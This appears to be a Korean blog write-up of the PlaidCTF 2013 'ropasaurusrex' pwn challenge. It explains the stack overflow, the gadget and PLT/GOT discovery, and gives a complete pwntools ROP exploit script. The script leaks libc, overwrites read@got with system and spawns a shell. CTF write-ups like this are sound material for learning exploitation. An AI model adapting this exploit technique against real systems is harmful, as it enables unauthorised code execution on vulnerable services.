plaid ctf 2013 ropasaurusrex write up
09월인가 10월인가 가을 즈음해서 이 문제를 풀었었는데 정확한 원리를 공부하지 않고 풀어서 어제부터 다시 풀어보았다. 기숙사에 노트북 가져가서 풀었는데 급하게 푸느라 다 까먹.;; rop공룡을 풀면서 느낀 점은 역시 ROP를 공부하기에 정말 적합한 문제같다 라는 것. 가젯도 충분히 주어졌고, 취약한 부분도 그대로 보이고..
Analyse
main 함수는 이렇게 간단하게 구성되어 있다. readBuffer()는 필자가 임의대로 설정한 이름이다. readBuffer() 함수의 내부 구조를 보자.
이런 구조이다. buf 의 크기는 0x88 bytes, 즉 136 bytes인데 곧이어 나오는 read() 함수에서는 256 bytes 만큼 값을 받고 있다. 여기에서 오버플로우 취약점이 일어난다. LoB (Lord of BoF) 같았으면 그냥 RET에다 고냥 쉘코드 주소 꼴아박으면 됐었는데
NX가 걸려있어서 하지 못한다. 하지만, Canary가 걸려있지 않으므로 ROP로 쇼쇼쇽=3 하면 될 것 같다.
시나리오
Exploit
Gadget
PPPR 가젯을 찾았다. 가젯 주소 : 0x80484b6
함수 호출을 위한 PLT 주소
삽질
심볼 테이블이 로드되지 않아서 그렇다. 하지만, 여기서 ' info file ' 이라는 명령어를 쳐보자.
main 함수가 있는 .text 영역의 시작주소에 Break Point를 걸면 된다.
pwndbg> b * 0x08048340
Breakpoint 1 at 0x8048340
pwndbg> r
Starting program: /home/ch4n3/ctf/plaid_ctf_2013/ropasaurusrex
띠용 뭐지..
이 값은 GOT 포인터가 가르키고 있는 값이다. 나중에 Leak할 때 꼭 필요하다.
어째뜬 여기에서는 exploit code 에 필요한 정보가 없다.
그래서 결국 알아내는 것을 고민하다가 readelf 명령이 떠올랐다.
readelf -S [binary] 명령을 수행하면 각 영역의 주소를 보여준다. 여기에 있는 .plt 영역을 gdb에서 x/100i 등으로 PLT 테이블을 확인하면 되지 않을까 라는 생각에 해보게되었다.
이렇게 알아낸 PLT 를 기반으로 이제 GDB에서 테이블을 뒤지기만 하면 된다.
찾았다! 여기에서 PLT 와 GOT를 모두 획득할 수 있다.
write@plt = 0x804830c
write@got = 0x8049614
read@plt = 0x804832c
read@got = 0x804961c
#!/usr/bin/python # coding: utf-8 from pwn import * from time import sleep p = process("./ropasaurusrex") # context.log_level = 'debug' """ 0x80482ec: push DWORD PTR ds:0x8049608 0x80482f2: jmp DWORD PTR ds:0x804960c 0x80482f8: add BYTE PTR [eax],al 0x80482fa: add BYTE PTR [eax],al 0x80482fc <__gmon_start__@plt>: jmp DWORD PTR ds:0x8049610 0x8048302 <__gmon_start__@plt+6>: push 0x0 0x8048307 <__gmon_start__@plt+11>: jmp 0x80482ec 0x804830c <write@plt>: jmp DWORD PTR ds:0x8049614 0x8048312 <write@plt+6>: push 0x8 0x8048317 <write@plt+11>: jmp 0x80482ec 0x804831c <__libc_start_main@plt>: jmp DWORD PTR ds:0x8049618 0x8048322 <__libc_start_main@plt+6>: push 0x10 0x8048327 <__libc_start_main@plt+11>: jmp 0x80482ec 0x804832c <read@plt>: jmp DWORD PTR ds:0x804961c 0x8048332 <read@plt+6>: push 0x18 0x8048337 <read@plt+11>: jmp 0x80482ec """ """ == < ROP Gadgets > == 0x080482ca : ret 0x080484b6 : pop esi ; pop edi ; pop ebp ; ret 0x08048466 : call 0x80484c0 0x080482ea : leave ; ret """ write_plt = 0x804830c write_got = 0x8049614 read_plt = 0x804832c read_got = 0x804961c system_offset = 634192 # read - system = system_offset pppr = 0x080484b6 bss = 0x08049628 binsh = "/bin/sh\x00" payload = "A"*140 payload += p32(write_plt) payload += p32(pppr) payload += p32(0x1) payload += p32(read_got) payload += p32(0x4) # read (int fd, void *buf, size_t nbytes) payload += p32(read_plt) payload += p32(pppr) payload += p32(0x00) payload += p32(bss) payload += p32(len(binsh)) payload += p32(read_plt) payload += p32(pppr) payload += p32(0x00) payload += p32(read_got) payload += p32(4) payload += p32(read_plt) payload += "DUMM" payload += p32(bss) p.send( payload ) read_got_value = u32(p.recv(4)) system_got_value = read_got_value - system_offset print "[*] read got : {0}".format(hex(read_got_value)) print "[*] system got : {0}".format(hex(system_got_value)) p.send(binsh) # Overwrite read@plt p.send(p32(system_got_value)) p.interactive()
'
쉘을 획득했다.
'write-ups > CTF' 카테고리의 다른 글
mma ctf 2nd 2016 greeting write up (0) | 2017.12.19 |
---|---|
codegate 2017 babypwn write up (1) | 2017.12.18 |
codegate 2017 EasyMISC write up (0) | 2017.12.13 |
DIMICTF xml_parser write up (0) | 2017.12.10 |
화이트햇 콘테스트 familiar write-up (0) | 2017.11.07 |